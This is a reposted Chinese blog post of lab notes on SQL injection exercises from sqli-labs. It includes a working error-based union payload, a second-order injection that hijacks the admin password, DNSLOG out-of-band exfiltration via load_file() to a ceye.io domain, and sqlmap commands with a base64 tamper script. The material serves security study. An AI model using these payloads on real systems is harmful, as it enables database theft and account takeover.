栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

2021-11-13加解密,二次,load

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

2021-11-13加解密,二次,load

小迪v17

加解密
sqlilabs-page2-less21

可以看到对 cookie 进行了 base64 的处理


使用报错注入

')union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand()*2))x from information_schema.tables group by x#

进行base64加密


二次注入


sqli-less-24 二次注入

已知存在用户 admin(线上靶场当然不知道),

注册代码似乎对注册用户和密码 特殊字符转义

注册使用 admin'# ,修改密码UPDATe。这里引号闭合,所以修改的就是admin的密码。
在修改密码代码里没有对username 特殊符号转义

可以登录admin


load_file&dnslog带外注入
需要高权限进行文件读写操作,有不能回显的情况

参考: https://www.cnblogs.com/-qing-/p/10623583.html
https://blog.csdn.net/he_han_san/article/details/90108106
可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如www.test.com这样的URL发起请求。

平台:ceye,io
CEYE.IO平台,它通过自己的 DNS 服务器和 HTTP 服务器监控 DNS 查询和 HTTP 请求,Dnslog就是存储在DNS Server上的域名信息

它会给我们一个三级域名,访问会被记录。

select load_file('\\查询语句.xxxx.ceye.io\aaa')
比如查询版本:(select version()) 
select load_file('\\(select version()) .xxxx.ceye.io\aaa')

如果load_file报错,因为在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL,不能加载文件

show variables like '%secure%'; #查看secure_file_priv

通过设置my.ini
添加

[mysqld]
secure_file_priv=""
#可以load_flie任意磁盘的文件。
#重启

select * from users where id=1 and if((select load_file(concat('',(select version()),'.xxxxx.ceye.io//abc'))),0,1);

重新试一下可以看到记录,显示了版本号。

https://www.cnblogs.com/-qing-/p/10623583.html
这里使用concat函数将(select database())得到的内容作为查询url的一部分,和我们的平台三级域名拼接组合成一个四级域名,而load_file函数会通过dns解析请求,所以我们在dnslog平台就可以看到查询的记录(包含着我们注入出的数据)


使用工具DnslogSqlinj(需要python2环境)
打开 config文件配置地址和api


这里记录下 配置python2的心酸
电脑因为python2 和python3共存导致很多问题

1.首先升级python2 的pip的版本,这里要先下载
pip(10.0.1),然后再在线升级。

https://blog.csdn.net/qq_32670879/article/details/80654694
python2 -m pip install xxxx  #安装模块


按照提示一路安装缺失的模块

最后


sqli Less-9
题目基于时间的GET单引号盲注,无论输入什么都返回一样,这里需要我们使用延时函数来来判断语句是否执行。节省时间使用工具DnslogSqlinj。

工具给了格式命令

自己根据现实情况来判断 是否有’ --+
获取当前用户和数据库

输入: -u "http://127.0.0.1/sqlilabs/Less-9/?id=1' and ({})--+"


获取所有数据库

输入: -u "http://127.0.0.1/sqlilabs/Less-9/?id=1' and ({})--+"--dbs



sqlmap 加密 中转注入

sqlmap目录结构:https://blog.csdn.net/qq_21500173/article/details/53648696
使用: https://blog.csdn.net/smli_ng/article/details/106026901
https://blog.csdn.net/weixin_46709219/article/details/109672641

sqlmap tamper引用插件

找到一个base64加密的 id=1 ,可以直接使用插件base64encode.py

sqlmap -u http://xxxx.com/xxx.php?id=MQ== --tamper base64encode.py –dbs


这里跟着老师学习写一个脚本加密注入点, 可以看到提交get请求x被加密拼接到了url中


使用sqlmap 来测试注入点x

python sqlmap.py -u "http://127.0.0.1/base64id.php?x=" -v 3
转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/529866.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号